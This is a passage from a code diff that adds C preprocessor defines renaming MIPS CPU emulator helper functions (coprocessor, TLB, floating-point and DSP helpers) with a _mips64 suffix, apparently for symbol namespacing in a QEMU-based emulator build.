helper_mftc0_tcschefback_mips64 +#define helper_mfc0_count helper_mfc0_count_mips64 +#define helper_mftc0_entryhi helper_mftc0_entryhi_mips64 +#define helper_mftc0_cause helper_mftc0_cause_mips64 +#define helper_mftc0_status helper_mftc0_status_mips64 +#define helper_mfc0_lladdr helper_mfc0_lladdr_mips64 +#define helper_mfc0_watchlo helper_mfc0_watchlo_mips64 +#define helper_mfc0_watchhi helper_mfc0_watchhi_mips64 +#define helper_mfc0_debug helper_mfc0_debug_mips64 +#define helper_mftc0_debug helper_mftc0_debug_mips64 +#define helper_mtc0_index helper_mtc0_index_mips64 +#define helper_mtc0_mvpcontrol helper_mtc0_mvpcontrol_mips64 +#define helper_mtc0_vpecontrol helper_mtc0_vpecontrol_mips64 +#define helper_mttc0_vpecontrol helper_mttc0_vpecontrol_mips64 +#define helper_mftc0_vpecontrol helper_mftc0_vpecontrol_mips64 +#define helper_mftc0_vpeconf0 helper_mftc0_vpeconf0_mips64 +#define helper_mtc0_vpeconf0 helper_mtc0_vpeconf0_mips64 +#define helper_mttc0_vpeconf0 helper_mttc0_vpeconf0_mips64 +#define helper_mtc0_vpeconf1 helper_mtc0_vpeconf1_mips64 +#define helper_mtc0_yqmask helper_mtc0_yqmask_mips64 +#define helper_mtc0_vpeopt helper_mtc0_vpeopt_mips64 +#define helper_mtc0_entrylo0 helper_mtc0_entrylo0_mips64 +#define helper_mtc0_tcstatus helper_mtc0_tcstatus_mips64 +#define helper_mttc0_tcstatus helper_mttc0_tcstatus_mips64 +#define helper_mtc0_tcbind helper_mtc0_tcbind_mips64 +#define helper_mttc0_tcbind helper_mttc0_tcbind_mips64 +#define helper_mtc0_tcrestart helper_mtc0_tcrestart_mips64 +#define helper_mttc0_tcrestart helper_mttc0_tcrestart_mips64 +#define helper_mtc0_tchalt helper_mtc0_tchalt_mips64 +#define helper_mttc0_tchalt helper_mttc0_tchalt_mips64 +#define helper_mtc0_tccontext helper_mtc0_tccontext_mips64 +#define helper_mttc0_tccontext helper_mttc0_tccontext_mips64 +#define helper_mtc0_tcschedule helper_mtc0_tcschedule_mips64 +#define helper_mttc0_tcschedule helper_mttc0_tcschedule_mips64 +#define helper_mtc0_tcschefback helper_mtc0_tcschefback_mips64 +#define helper_mttc0_tcschefback helper_mttc0_tcschefback_mips64 +#define helper_mtc0_entrylo1 helper_mtc0_entrylo1_mips64 +#define helper_mtc0_context helper_mtc0_context_mips64 +#define helper_mtc0_pagemask helper_mtc0_pagemask_mips64 +#define helper_mtc0_pagegrain helper_mtc0_pagegrain_mips64 +#define helper_mtc0_wired helper_mtc0_wired_mips64 +#define helper_mtc0_srsconf0 helper_mtc0_srsconf0_mips64 +#define helper_mtc0_srsconf1 helper_mtc0_srsconf1_mips64 +#define helper_mtc0_srsconf2 helper_mtc0_srsconf2_mips64 +#define helper_mtc0_srsconf3 helper_mtc0_srsconf3_mips64 +#define helper_mtc0_srsconf4 helper_mtc0_srsconf4_mips64 +#define helper_mtc0_hwrena helper_mtc0_hwrena_mips64 +#define helper_mtc0_count helper_mtc0_count_mips64 +#define helper_mtc0_entryhi helper_mtc0_entryhi_mips64 +#define helper_mttc0_entryhi helper_mttc0_entryhi_mips64 +#define helper_mtc0_compare helper_mtc0_compare_mips64 +#define helper_mtc0_status helper_mtc0_status_mips64 +#define helper_mttc0_status helper_mttc0_status_mips64 +#define helper_mtc0_intctl helper_mtc0_intctl_mips64 +#define helper_mtc0_srsctl helper_mtc0_srsctl_mips64 +#define helper_mtc0_cause helper_mtc0_cause_mips64 +#define helper_mttc0_cause helper_mttc0_cause_mips64 +#define helper_mftc0_epc helper_mftc0_epc_mips64 +#define helper_mftc0_ebase helper_mftc0_ebase_mips64 +#define helper_mtc0_ebase helper_mtc0_ebase_mips64 +#define helper_mttc0_ebase helper_mttc0_ebase_mips64 +#define helper_mftc0_configx helper_mftc0_configx_mips64 +#define helper_mtc0_config0 helper_mtc0_config0_mips64 +#define helper_mtc0_config2 helper_mtc0_config2_mips64 +#define helper_mtc0_config4 helper_mtc0_config4_mips64 +#define helper_mtc0_config5 helper_mtc0_config5_mips64 +#define helper_mtc0_lladdr helper_mtc0_lladdr_mips64 +#define helper_mtc0_watchlo helper_mtc0_watchlo_mips64 +#define helper_mtc0_watchhi helper_mtc0_watchhi_mips64 +#define helper_mtc0_xcontext helper_mtc0_xcontext_mips64 +#define helper_mtc0_framemask helper_mtc0_framemask_mips64 +#define helper_mtc0_debug helper_mtc0_debug_mips64 +#define helper_mttc0_debug helper_mttc0_debug_mips64 +#define helper_mtc0_performance0 helper_mtc0_performance0_mips64 +#define helper_mtc0_taglo helper_mtc0_taglo_mips64 +#define helper_mtc0_datalo helper_mtc0_datalo_mips64 +#define helper_mtc0_taghi helper_mtc0_taghi_mips64 +#define helper_mtc0_datahi helper_mtc0_datahi_mips64 +#define helper_mftgpr helper_mftgpr_mips64 +#define helper_mftlo helper_mftlo_mips64 +#define helper_mfthi helper_mfthi_mips64 +#define helper_mftacx helper_mftacx_mips64 +#define helper_mftdsp helper_mftdsp_mips64 +#define helper_mttgpr helper_mttgpr_mips64 +#define helper_mttlo helper_mttlo_mips64 +#define helper_mtthi helper_mtthi_mips64 +#define helper_mttacx helper_mttacx_mips64 +#define helper_mttdsp helper_mttdsp_mips64 +#define helper_dmt helper_dmt_mips64 +#define helper_emt helper_emt_mips64 +#define helper_dvpe helper_dvpe_mips64 +#define helper_evpe helper_evpe_mips64 +#define helper_fork helper_fork_mips64 +#define helper_yield helper_yield_mips64 +#define r4k_helper_tlbinv r4k_helper_tlbinv_mips64 +#define r4k_helper_tlbinvf r4k_helper_tlbinvf_mips64 +#define r4k_helper_tlbwi r4k_helper_tlbwi_mips64 +#define r4k_helper_tlbwr r4k_helper_tlbwr_mips64 +#define r4k_helper_tlbp r4k_helper_tlbp_mips64 +#define r4k_helper_tlbr r4k_helper_tlbr_mips64 +#define helper_tlbwi helper_tlbwi_mips64 +#define helper_tlbwr helper_tlbwr_mips64 +#define helper_tlbp helper_tlbp_mips64 +#define helper_tlbr helper_tlbr_mips64 +#define helper_tlbinv helper_tlbinv_mips64 +#define helper_tlbinvf helper_tlbinvf_mips64 +#define helper_di helper_di_mips64 +#define helper_ei helper_ei_mips64 +#define helper_eret helper_eret_mips64 +#define helper_deret helper_deret_mips64 +#define helper_rdhwr_cpunum helper_rdhwr_cpunum_mips64 +#define helper_rdhwr_synci_step helper_rdhwr_synci_step_mips64 +#define helper_rdhwr_cc helper_rdhwr_cc_mips64 +#define helper_rdhwr_ccres helper_rdhwr_ccres_mips64 +#define helper_pmon helper_pmon_mips64 +#define helper_wait helper_wait_mips64 +#define mips_cpu_do_unaligned_access mips_cpu_do_unaligned_access_mips64 +#define mips_cpu_unassigned_access mips_cpu_unassigned_access_mips64 +#define ieee_rm ieee_rm_mips64 +#define helper_cfc1 helper_cfc1_mips64 +#define helper_ctc1 helper_ctc1_mips64 +#define ieee_ex_to_mips ieee_ex_to_mips_mips64 +#define helper_float_sqrt_d helper_float_sqrt_d_mips64 +#define helper_float_sqrt_s helper_float_sqrt_s_mips64 +#define helper_float_cvtd_s helper_float_cvtd_s_mips64 +#define helper_float_cvtd_w helper_float_cvtd_w_mips64 +#define helper_float_cvtd_l helper_float_cvtd_l_mips64 +#define helper_float_cvtl_d helper_float_cvtl_d_mips64 +#define helper_float_cvtl_s helper_float_cvtl_s_mips64 +#define helper_float_cvtps_pw helper_float_cvtps_pw_mips64 +#define helper_float_cvtpw_ps helper_float_cvtpw_ps_mips64 +#define helper_float_cvts_d helper_float_cvts_d_mips64 +#define helper_float_cvts_w helper_float_cvts_w_mips64 +#define helper_float_cvts_l helper_float_cvts_l_mips64 +#define helper_float_cvts_pl helper_float_cvts_pl_mips64 +#define helper_float_cvts_pu helper_float_cvts_pu_mips64 +#define helper_float_cvtw_s helper_float_cvtw_s_mips64 +#define helper_float_cvtw_d helper_float_cvtw_d_mips64 +#define helper_float_roundl_d helper_float_roundl_d_mips64 +#define helper_float_roundl_s helper_float_roundl_s_mips64 +#define helper_float_roundw_d helper_float_roundw_d_mips64 +#define helper_float_roundw_s helper_float_roundw_s_mips64 +#define helper_float_truncl_d helper_float_truncl_d_mips64 +#define helper_float_truncl_s helper_float_truncl_s_mips64 +#define helper_float_truncw_d helper_float_truncw_d_mips64 +#define helper_float_truncw_s helper_float_truncw_s_mips64 +#define helper_float_ceill_d helper_float_ceill_d_mips64 +#define helper_float_ceill_s helper_float_ceill_s_mips64 +#define helper_float_ceilw_d helper_float_ceilw_d_mips64 +#define helper_float_ceilw_s helper_float_ceilw_s_mips64 +#define helper_float_floorl_d helper_float_floorl_d_mips64 +#define helper_float_floorl_s helper_float_floorl_s_mips64 +#define helper_float_floorw_d helper_float_floorw_d_mips64 +#define helper_float_floorw_s helper_float_floorw_s_mips64 +#define helper_float_abs_d helper_float_abs_d_mips64 +#define helper_float_abs_s helper_float_abs_s_mips64 +#define helper_float_abs_ps helper_float_abs_ps_mips64 +#define helper_float_chs_d helper_float_chs_d_mips64 +#define helper_float_chs_s helper_float_chs_s_mips64 +#define helper_float_chs_ps helper_float_chs_ps_mips64 +#define helper_float_maddf_s helper_float_maddf_s_mips64 +#define helper_float_maddf_d helper_float_maddf_d_mips64 +#define helper_float_msubf_s helper_float_msubf_s_mips64 +#define helper_float_msubf_d helper_float_msubf_d_mips64 +#define helper_float_max_s helper_float_max_s_mips64 +#define helper_float_max_d helper_float_max_d_mips64 +#define helper_float_maxa_s helper_float_maxa_s_mips64 +#define helper_float_maxa_d helper_float_maxa_d_mips64 +#define helper_float_min_s helper_float_min_s_mips64 +#define helper_float_min_d helper_float_min_d_mips64 +#define helper_float_mina_s helper_float_mina_s_mips64 +#define helper_float_mina_d helper_float_mina_d_mips64 +#define helper_float_rint_s helper_float_rint_s_mips64 +#define helper_float_rint_d helper_float_rint_d_mips64 +#define helper_float_class_s helper_float_class_s_mips64 +#define helper_float_class_d helper_float_class_d_mips64 +#define helper_float_recip_d helper_float_recip_d_mips64 +#define helper_float_recip_s helper_float_recip_s_mips64 +#define helper_float_rsqrt_d helper_float_rsqrt_d_mips64 +#define helper_float_rsqrt_s helper_float_rsqrt_s_mips64 +#define helper_float_recip1_d helper_float_recip1_d_mips64 +#define helper_float_recip1_s helper_float_recip1_s_mips64 +#define helper_float_recip1_ps helper_float_recip1_ps_mips64 +#define helper_float_rsqrt1_d helper_float_rsqrt1_d_mips64 +#define helper_float_rsqrt1_s helper_float_rsqrt1_s_mips64 +#define helper_float_rsqrt1_ps helper_float_rsqrt1_ps_mips64 +#define helper_float_add_d helper_float_add_d_mips64 +#define helper_float_add_s helper_float_add_s_mips64 +#define helper_float_add_ps helper_float_add_ps_mips64 +#define helper_float_sub_d helper_float_sub_d_mips64 +#define helper_float_sub_s helper_float_sub_s_mips64 +#define helper_float_sub_ps helper_float_sub_ps_mips64 +#define helper_float_mul_d helper_float_mul_d_mips64 +#define helper_float_mul_s helper_float_mul_s_mips64 +#define helper_float_mul_ps helper_float_mul_ps_mips64 +#define helper_float_div_d helper_float_div_d_mips64 +#define helper_float_div_s helper_float_div_s_mips64 +#define helper_float_div_ps helper_float_div_ps_mips64 +#define helper_float_madd_d helper_float_madd_d_mips64 +#define helper_float_madd_s helper_float_madd_s_mips64 +#define helper_float_madd_ps helper_float_madd_ps_mips64 +#define helper_float_msub_d helper_float_msub_d_mips64 +#define helper_float_msub_s helper_float_msub_s_mips64 +#define helper_float_msub_ps helper_float_msub_ps_mips64 +#define helper_float_nmadd_d helper_float_nmadd_d_mips64 +#define helper_float_nmadd_s helper_float_nmadd_s_mips64 +#define helper_float_nmadd_ps helper_float_nmadd_ps_mips64 +#define helper_float_nmsub_d helper_float_nmsub_d_mips64 +#define helper_float_nmsub_s helper_float_nmsub_s_mips64 +#define helper_float_nmsub_ps helper_float_nmsub_ps_mips64 +#define helper_float_recip2_d helper_float_recip2_d_mips64 +#define helper_float_recip2_s helper_float_recip2_s_mips64 +#define helper_float_recip2_ps helper_float_recip2_ps_mips64 +#define helper_float_rsqrt2_d helper_float_rsqrt2_d_mips64 +#define helper_float_rsqrt2_s helper_float_rsqrt2_s_mips64 +#define helper_float_rsqrt2_ps helper_float_rsqrt2_ps_mips64 +#define helper_float_addr_ps helper_float_addr_ps_mips64 +#define helper_float_mulr_ps helper_float_mulr_ps_mips64 +#define helper_cmp_d_f helper_cmp_d_f_mips64 +#define helper_cmpabs_d_f helper_cmpabs_d_f_mips64 +#define helper_cmp_d_un helper_cmp_d_un_mips64 +#define helper_cmpabs_d_un helper_cmpabs_d_un_mips64 +#define helper_cmp_d_eq helper_cmp_d_eq_mips64 +#define helper_cmpabs_d_eq helper_cmpabs_d_eq_mips64 +#define helper_cmp_d_ueq helper_cmp_d_ueq_mips64 +#define helper_cmpabs_d_ueq helper_cmpabs_d_ueq_mips64 +#define helper_cmp_d_olt helper_cmp_d_olt_mips64 +#define helper_cmpabs_d_olt helper_cmpabs_d_olt_mips64 +#define helper_cmp_d_ult helper_cmp_d_ult_mips64 +#define helper_cmpabs_d_ult helper_cmpabs_d_ult_mips64 +#define helper_cmp_d_ole helper_cmp_d_ole_mips64 +#define helper_cmpabs_d_ole helper_cmpabs_d_ole_mips64 +#define helper_cmp_d_ule helper_cmp_d_ule_mips64 +#define helper_cmpabs_d_ule helper_cmpabs_d_ule_mips64 +#define helper_cmp_d_sf helper_cmp_d_sf_mips64 +#define helper_cmpabs_d_sf helper_cmpabs_d_sf_mips64 +#define helper_cmp_d_ngle helper_cmp_d_ngle_mips64 +#define helper_cmpabs_d_ngle helper_cmpabs_d_ngle_mips64 +#define helper_cmp_d_seq helper_cmp_d_seq_mips64 +#define helper_cmpabs_d_seq helper_cmpabs_d_seq_mips64 +#define helper_cmp_d_ngl helper_cmp_d_ngl_mips64 +#define helper_cmpabs_d_ngl helper_cmpabs_d_ngl_mips64 +#define helper_cmp_d_lt helper_cmp_d_lt_mips64 +#define helper_cmpabs_d_lt helper_cmpabs_d_lt_mips64 +#define helper_cmp_d_nge helper_cmp_d_nge_mips64 +#define helper_cmpabs_d_nge helper_cmpabs_d_nge_mips64 +#define helper_cmp_d_le helper_cmp_d_le_mips64 +#define helper_cmpabs_d_le helper_cmpabs_d_le_mips64 +#define helper_cmp_d_ngt helper_cmp_d_ngt_mips64 +#define helper_cmpabs_d_ngt helper_cmpabs_d_ngt_mips64 +#define helper_cmp_s_f helper_cmp_s_f_mips64 +#define helper_cmpabs_s_f helper_cmpabs_s_f_mips64 +#define helper_cmp_s_un helper_cmp_s_un_mips64 +#define helper_cmpabs_s_un helper_cmpabs_s_un_mips64 +#define helper_cmp_s_eq helper_cmp_s_eq_mips64 +#define helper_cmpabs_s_eq helper_cmpabs_s_eq_mips64 +#define helper_cmp_s_ueq helper_cmp_s_ueq_mips64 +#define helper_cmpabs_s_ueq helper_cmpabs_s_ueq_mips64 +#define helper_cmp_s_olt helper_cmp_s_olt_mips64 +#define helper_cmpabs_s_olt helper_cmpabs_s_olt_mips64 +#define helper_cmp_s_ult helper_cmp_s_ult_mips64 +#define helper_cmpabs_s_ult helper_cmpabs_s_ult_mips64 +#define helper_cmp_s_ole helper_cmp_s_ole_mips64 +#define helper_cmpabs_s_ole helper_cmpabs_s_ole_mips64 +#define helper_cmp_s_ule helper_cmp_s_ule_mips64 +#define helper_cmpabs_s_ule helper_cmpabs_s_ule_mips64 +#define helper_cmp_s_sf helper_cmp_s_sf_mips64 +#define helper_cmpabs_s_sf helper_cmpabs_s_sf_mips64 +#define helper_cmp_s_ngle helper_cmp_s_ngle_mips64 +#define helper_cmpabs_s_ngle helper_cmpabs_s_ngle_mips64 +#define helper_cmp_s_seq helper_cmp_s_seq_mips64 +#define helper_cmpabs_s_seq helper_cmpabs_s_seq_mips64 +#define helper_cmp_s_ngl helper_cmp_s_ngl_mips64 +#define helper_cmpabs_s_ngl helper_cmpabs_s_ngl_mips64 +#define helper_cmp_s_lt helper_cmp_s_lt_mips64 +#define helper_cmpabs_s_lt helper_cmpabs_s_lt_mips64 +#define helper_cmp_s_nge helper_cmp_s_nge_mips64 +#define helper_cmpabs_s_nge helper_cmpabs_s_nge_mips64 +#define helper_cmp_s_le helper_cmp_s_le_mips64 +#define helper_cmpabs_s_le helper_cmpabs_s_le_mips64 +#define helper_cmp_s_ngt helper_cmp_s_ngt_mips64 +#define helper_cmpabs_s_ngt helper_cmpabs_s_ngt_mips64 +#define helper_cmp_ps_f helper_cmp_ps_f_mips64 +#define helper_cmpabs_ps_f helper_cmpabs_ps_f_mips64 +#define helper_cmp_ps_un helper_cmp_ps_un_mips64 +#define helper_cmpabs_ps_un helper_cmpabs_ps_un_mips64 +#define helper_cmp_ps_eq helper_cmp_ps_eq_mips64 +#define helper_cmpabs_ps_eq helper_cmpabs_ps_eq_mips64 +#define helper_cmp_ps_ueq helper_cmp_ps_ueq_mips64 +#define helper_cmpabs_ps_ueq helper_cmpabs_ps_ueq_mips64 +#define helper_cmp_ps_olt helper_cmp_ps_olt_mips64 +#define helper_cmpabs_ps_olt helper_cmpabs_ps_olt_mips64 +#define helper_cmp_ps_ult helper_cmp_ps_ult_mips64 +#define helper_cmpabs_ps_ult helper_cmpabs_ps_ult_mips64 +#define helper_cmp_ps_ole helper_cmp_ps_ole_mips64 +#define helper_cmpabs_ps_ole helper_cmpabs_ps_ole_mips64 +#define helper_cmp_ps_ule helper_cmp_ps_ule_mips64 +#define helper_cmpabs_ps_ule helper_cmpabs_ps_ule_mips64 +#define helper_cmp_ps_sf helper_cmp_ps_sf_mips64 +#define helper_cmpabs_ps_sf helper_cmpabs_ps_sf_mips64 +#define helper_cmp_ps_ngle helper_cmp_ps_ngle_mips64 +#define helper_cmpabs_ps_ngle helper_cmpabs_ps_ngle_mips64 +#define helper_cmp_ps_seq helper_cmp_ps_seq_mips64 +#define helper_cmpabs_ps_seq helper_cmpabs_ps_seq_mips64 +#define helper_cmp_ps_ngl helper_cmp_ps_ngl_mips64 +#define helper_cmpabs_ps_ngl helper_cmpabs_ps_ngl_mips64 +#define helper_cmp_ps_lt helper_cmp_ps_lt_mips64 +#define helper_cmpabs_ps_lt helper_cmpabs_ps_lt_mips64 +#define helper_cmp_ps_nge helper_cmp_ps_nge_mips64 +#define helper_cmpabs_ps_nge helper_cmpabs_ps_nge_mips64 +#define helper_cmp_ps_le helper_cmp_ps_le_mips64 +#define helper_cmpabs_ps_le helper_cmpabs_ps_le_mips64 +#define helper_cmp_ps_ngt helper_cmp_ps_ngt_mips64 +#define helper_cmpabs_ps_ngt helper_cmpabs_ps_ngt_mips64 +#define helper_r6_cmp_d_af helper_r6_cmp_d_af_mips64 +#define helper_r6_cmp_d_un helper_r6_cmp_d_un_mips64 +#define helper_r6_cmp_d_eq helper_r6_cmp_d_eq_mips64 +#define helper_r6_cmp_d_ueq helper_r6_cmp_d_ueq_mips64 +#define helper_r6_cmp_d_lt helper_r6_cmp_d_lt_mips64 +#define helper_r6_cmp_d_ult helper_r6_cmp_d_ult_mips64 +#define helper_r6_cmp_d_le helper_r6_cmp_d_le_mips64 +#define helper_r6_cmp_d_ule helper_r6_cmp_d_ule_mips64 +#define helper_r6_cmp_d_saf helper_r6_cmp_d_saf_mips64 +#define helper_r6_cmp_d_sun helper_r6_cmp_d_sun_mips64 +#define helper_r6_cmp_d_seq helper_r6_cmp_d_seq_mips64 +#define helper_r6_cmp_d_sueq helper_r6_cmp_d_sueq_mips64 +#define helper_r6_cmp_d_slt helper_r6_cmp_d_slt_mips64 +#define helper_r6_cmp_d_sult helper_r6_cmp_d_sult_mips64 +#define helper_r6_cmp_d_sle helper_r6_cmp_d_sle_mips64 +#define helper_r6_cmp_d_sule helper_r6_cmp_d_sule_mips64 +#define helper_r6_cmp_d_or helper_r6_cmp_d_or_mips64 +#define helper_r6_cmp_d_une helper_r6_cmp_d_une_mips64 +#define helper_r6_cmp_d_ne helper_r6_cmp_d_ne_mips64 +#define helper_r6_cmp_d_sor helper_r6_cmp_d_sor_mips64 +#define helper_r6_cmp_d_sune helper_r6_cmp_d_sune_mips64 +#define helper_r6_cmp_d_sne helper_r6_cmp_d_sne_mips64 +#define helper_r6_cmp_s_af helper_r6_cmp_s_af_mips64 +#define helper_r6_cmp_s_un helper_r6_cmp_s_un_mips64 +#define helper_r6_cmp_s_eq helper_r6_cmp_s_eq_mips64 +#define helper_r6_cmp_s_ueq helper_r6_cmp_s_ueq_mips64 +#define helper_r6_cmp_s_lt helper_r6_cmp_s_lt_mips64 +#define helper_r6_cmp_s_ult helper_r6_cmp_s_ult_mips64 +#define helper_r6_cmp_s_le helper_r6_cmp_s_le_mips64 +#define helper_r6_cmp_s_ule helper_r6_cmp_s_ule_mips64 +#define helper_r6_cmp_s_saf helper_r6_cmp_s_saf_mips64 +#define helper_r6_cmp_s_sun helper_r6_cmp_s_sun_mips64 +#define helper_r6_cmp_s_seq helper_r6_cmp_s_seq_mips64 +#define helper_r6_cmp_s_sueq helper_r6_cmp_s_sueq_mips64 +#define helper_r6_cmp_s_slt helper_r6_cmp_s_slt_mips64 +#define helper_r6_cmp_s_sult helper_r6_cmp_s_sult_mips64 +#define helper_r6_cmp_s_sle helper_r6_cmp_s_sle_mips64 +#define helper_r6_cmp_s_sule helper_r6_cmp_s_sule_mips64 +#define helper_r6_cmp_s_or helper_r6_cmp_s_or_mips64 +#define helper_r6_cmp_s_une helper_r6_cmp_s_une_mips64 +#define helper_r6_cmp_s_ne helper_r6_cmp_s_ne_mips64 +#define helper_r6_cmp_s_sor helper_r6_cmp_s_sor_mips64 +#define helper_r6_cmp_s_sune helper_r6_cmp_s_sune_mips64 +#define helper_r6_cmp_s_sne helper_r6_cmp_s_sne_mips64 +#define helper_msa_ld_df helper_msa_ld_df_mips64 +#define helper_msa_st_df helper_msa_st_df_mips64 +#define no_mmu_map_address no_mmu_map_address_mips64 +#define fixed_mmu_map_address fixed_mmu_map_address_mips64 +#define r4k_map_address r4k_map_address_mips64 +#define mips_cpu_get_phys_page_debug mips_cpu_get_phys_page_debug_mips64 +#define mips_cpu_handle_mmu_fault mips_cpu_handle_mmu_fault_mips64 +#define cpu_mips_translate_address cpu_mips_translate_address_mips64 +#define exception_resume_pc exception_resume_pc_mips64 +#define mips_cpu_do_interrupt mips_cpu_do_interrupt_mips64 +#define mips_cpu_exec_interrupt mips_cpu_exec_interrupt_mips64 +#define r4k_invalidate_tlb r4k_invalidate_tlb_mips64 +#define helper_absq_s_ob helper_absq_s_ob_mips64 +#define helper_absq_s_qh helper_absq_s_qh_mips64 +#define helper_absq_s_pw helper_absq_s_pw_mips64 +#define helper_adduh_ob helper_adduh_ob_mips64 +#define helper_adduh_r_ob helper_adduh_r_ob_mips64 +#define helper_subuh_ob helper_subuh_ob_mips64 +#define helper_subuh_r_ob helper_subuh_r_ob_mips64 +#define helper_addq_pw helper_addq_pw_mips64 +#define helper_addq_qh helper_addq_qh_mips64 +#define helper_addq_s_pw helper_addq_s_pw_mips64 +#define helper_addq_s_qh helper_addq_s_qh_mips64 +#define helper_addu_ob helper_addu_ob_mips64 +#define helper_addu_qh helper_addu_qh_mips64 +#define helper_addu_s_ob helper_addu_s_ob_mips64 +#define helper_addu_s_qh helper_addu_s_qh_mips64 +#define helper_subq_pw helper_subq_pw_mips64 +#define helper_subq_qh helper_subq_qh_mips64 +#define helper_subq_s_pw helper_subq_s_pw_mips64 +#define helper_subq_s_qh helper_subq_s_qh_mips64 +#define helper_subu_ob helper_subu_ob_mips64 +#define helper_subu_qh helper_subu_qh_mips64 +#define helper_subu_s_ob helper_subu_s_ob_mips64 +#define helper_subu_s_qh helper_subu_s_qh_mips64 +#define helper_raddu_l_ob helper_raddu_l_ob_mips64 +#define helper_precr_ob_qh helper_precr_ob_qh_mips64 +#define helper_precr_sra_qh_pw helper_precr_sra_qh_pw_mips64 +#define helper_precr_sra_r_qh_pw helper_precr_sra_r_qh_pw_mips64 +#define helper_precrq_ob_qh helper_precrq_ob_qh_mips64 +#define helper_precrq_qh_pw helper_precrq_qh_pw_mips64 +#define helper_precrq_rs_qh_pw helper_precrq_rs_qh_pw_mips64 +#define helper_precrq_pw_l helper_precrq_pw_l_mips64 +#define helper_precrqu_s_ob_qh helper_precrqu_s_ob_qh_mips64 +#define helper_preceq_pw_qhl helper_preceq_pw_qhl_mips64 +#define helper_preceq_pw_qhr helper_preceq_pw_qhr_mips64 +#define helper_preceq_pw_qhla helper_preceq_pw_qhla_mips64 +#define helper_preceq_pw_qhra helper_preceq_pw_qhra_mips64 +#define helper_precequ_qh_obl helper_precequ_qh_obl_mips64 +#define helper_precequ_qh_obr helper_precequ_qh_obr_mips64 +#define helper_precequ_qh_obla helper_precequ_qh_obla_mips64 +#define helper_precequ_qh_obra helper_precequ_qh_obra_mips64 +#define helper_preceu_qh_obl helper_preceu_qh_obl_mips64 +#define helper_preceu_qh_obr helper_preceu_qh_obr_mips64 +#define helper_preceu_qh_obla helper_preceu_qh_obla_mips64 +#define helper_preceu_qh_obra helper_preceu_qh_obra_mips64 +#define helper_shll_ob helper_shll_ob_mips64 +#define helper_shrl_ob helper_shrl_ob_mips64 +#define helper_shra_ob helper_shra_ob_mips64 +#define helper_shra_r_ob helper_shra_r_ob_mips64 +#define helper_shll_qh helper_shll_qh_mips64 +#define helper_shll_s_qh helper_shll_s_qh_mips64 +#define helper_shrl_qh helper_shrl_qh_mips64 +#define helper_shra_qh helper_shra_qh_mips64 +#define helper_shra_r_qh helper_shra_r_qh_mips64 +#define helper_shll_pw helper_shll_pw_mips64 +#define helper_shll_s_pw helper_shll_s_pw_mips64 +#define helper_shra_pw helper_shra_pw_mips64 +#define helper_shra_r_pw helper_shra_r_pw_mips64 +#define helper_muleu_s_qh_obl helper_muleu_s_qh_obl_mips64 +#define helper_muleu_s_qh_obr helper_muleu_s_qh_obr_mips64 +#define helper_mulq_rs_qh helper_mulq_rs_qh_mips64 +#define helper_muleq_s_pw_qhl helper_muleq_s_pw_qhl_mips64 +#define helper_muleq_s_pw_qhr helper_muleq_s_pw_qhr_mips64 +#define helper_mulsaq_s_w_qh helper_mulsaq_s_w_qh_mips64 +#define helper_dpau_h_obl helper_dpau_h_obl_mips64 +#define helper_dpau_h_obr helper_dpau_h_obr_mips64 +#define helper_dpsu_h_obl helper_dpsu_h_obl_mips64 +#define helper_dpsu_h_obr helper_dpsu_h_obr_mips64 +#define helper_dpa_w_qh helper_dpa_w_qh_mips64 +#define helper_dpaq_s_w_qh helper_dpaq_s_w_qh_mips64 +#define helper_dps_w_qh helper_dps_w_qh_mips64 +#define helper_dpsq_s_w_qh helper_dpsq_s_w_qh_mips64 +#define helper_dpaq_sa_l_pw helper_dpaq_sa_l_pw_mips64 +#define helper_dpsq_sa_l_pw helper_dpsq_sa_l_pw_mips64 +#define helper_mulsaq_s_l_pw helper_mulsaq_s_l_pw_mips64 +#define helper_maq_s_w_qhll helper_maq_s_w_qhll_mips64 +#define helper_maq_s_w_qhlr helper_maq_s_w_qhlr_mips64 +#define helper_maq_s_w_qhrl helper_maq_s_w_qhrl_mips64 +#define helper_maq_s_w_qhrr helper_maq_s_w_qhrr_mips64 +#define helper_maq_sa_w_qhll helper_maq_sa_w_qhll_mips64 +#define helper_maq_sa_w_qhlr helper_maq_sa_w_qhlr_mips64 +#define helper_maq_sa_w_qhrl helper_maq_sa_w_qhrl_mips64 +#define helper_maq_sa_w_qhrr helper_maq_sa_w_qhrr_mips64 +#define helper_maq_s_l_pwl helper_maq_s_l_pwl_mips64 +#define helper_maq_s_l_pwr helper_maq_s_l_pwr_mips64 +#define helper_dmadd helper_dmadd_mips64 +#define helper_dmaddu helper_dmaddu_mips64 +#define helper_dmsub helper_dmsub_mips64 +#define helper_dmsubu helper_dmsubu_mips64 +#define helper_dinsv helper_dinsv_mips64 +#define helper_cmpgu_eq_ob helper_cmpgu_eq_ob_mips64 +#define helper_cmpgu_lt_ob helper_cmpgu_lt_ob_mips64 +#define helper_cmpgu_le_ob helper_cmpgu_le_ob_mips64 +#define helper_cmpu_eq_ob helper_cmpu_eq_ob_mips64 +#define helper_cmpu_lt_ob helper_cmpu_lt_ob_mips64 +#define helper_cmpu_le_ob helper_cmpu_le_ob_mips64 +#define helper_cmp_eq_qh helper_cmp_eq_qh_mips64 +#define helper_cmp_lt_qh helper_cmp_lt_qh_mips64 +#define helper_cmp_le_qh helper_cmp_le_qh_mips64 +#define helper_cmp_eq_pw helper_cmp_eq_pw_mips64 +#define helper_cmp_lt_pw helper_cmp_lt_pw_mips64 +#define helper_cmp_le_pw helper_cmp_le_pw_mips64 +#define helper_cmpgdu_eq_ob helper_cmpgdu_eq_ob_mips64 +#define helper_cmpgdu_lt_ob helper_cmpgdu_lt_ob_mips64 +#define helper_cmpgdu_le_ob helper_cmpgdu_le_ob_mips64 +#define helper_pick_ob helper_pick_ob_mips64 +#define helper_pick_qh helper_pick_qh_mips64 +#define helper_pick_pw helper_pick_pw_mips64 +#define helper_packrl_pw helper_packrl_pw_mips64 +#define helper_dextr_w helper_dextr_w_mips64 +#define helper_dextr_r_w helper_dextr_r_w_mips64 +#define helper_dextr_rs_w helper_dextr_rs_w_mips64 +#define helper_dextr_l helper_dextr_l_mips64 +#define helper_dextr_r_l helper_dextr_r_l_mips64 +#define helper_dextr_rs_l helper_dextr_rs_l_mips64 +#define helper_dextr_s_h helper_dextr_s_h_mips64 +#define helper_dextp helper_dextp_mips64 +#define helper_dextpdp helper_dextpdp_mips64 +#define helper_dshilo helper_dshilo_mips64 +#define helper_dmthlip helper_dmthlip_mips64 +#define helper_dclo helper_dclo_mips64 +#define helper_dclz helper_dclz_mips64 +#define helper_dbitswap helper_dbitswap_mips64 +#define helper_lld 